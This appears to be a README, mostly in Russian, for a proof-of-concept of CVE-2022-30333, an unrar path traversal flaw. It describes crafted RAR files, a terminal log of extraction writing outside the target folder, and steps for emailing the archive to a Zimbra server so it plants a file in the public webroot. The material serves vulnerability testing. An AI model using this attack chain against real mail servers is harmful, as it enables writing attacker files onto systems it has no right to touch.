CVE-2022-30333-POC

Пример файла для тестирования CVE-2022-30333

• Sample.rar : если вы хотите протестировать на Linux. При распаковке он создает trav в ../../tmp/traversed. Убедитесь, что каталог ../../tmp/traversed существует перед извлечением Sample.rar

• exp.rar : если вы хотите протестировать на почтовом сервере Zimbra. При распаковке он создает moo.txt в /opt/zimbra/jetty_base/webapps/zimbra/public/. Вы можете получить доступ к этому файлу по адресу https://zimbra_mail_domain/public/moo.txt

ШАГИ ЭКСПЛУАТАЦИИ

Тестирование на Linux

mkdir ../../tmp/traversed (the destination folder must exsist before unrar)

ls -la ../../tmp/traversed/
total 8
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul  4 02:44 .
drwxrwxr-x 4 ubuntu ubuntu 4096 Jul  4 02:40 ..

unrar x exp.rar

UNRAR 6.10 beta 1 freeware      Copyright (c) 1993-2021 Alexander Roshal

Corrupt header is found
sym - the file header is corrupt

Extracting from exp.rar

Corrupt header is found
sym - the file header is corrupt
Extracting  sym                                                       OK 
Extracting  sym/trav                                                  OK 
Total errors: 4

ls -la ../../tmp/traversed/
total 12
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul  4 02:47 .
drwxrwxr-x 4 ubuntu ubuntu 4096 Jul  4 02:40 ..
-rw-rw-r-- 1 ubuntu ubuntu   14 Jul  4 02:34 trav

cat ../../tmp/traversed/trav
"traversed"

Тестирование на Zimbra

• Создайте письмо и прикрепите вредоносный rar-файл, затем отправьте на адрес Zimbra. Этот rar-файл будет извлечён при анализе с помощью Amavisd.
• Файл moo.txt должен находиться по адресу: /opt/zimbra/jetty_base/webapps/zimbra/public/moo.txt или https://zimbra_mail_domain/public/moo.txt

ССЫЛКИ

1. Вьетнамский блог от DEV2SEC
2. Английский блог от Sonarsource
3. Особая благодарность mrlihd за помощь в восстановлении цепочки атаки на Zimbra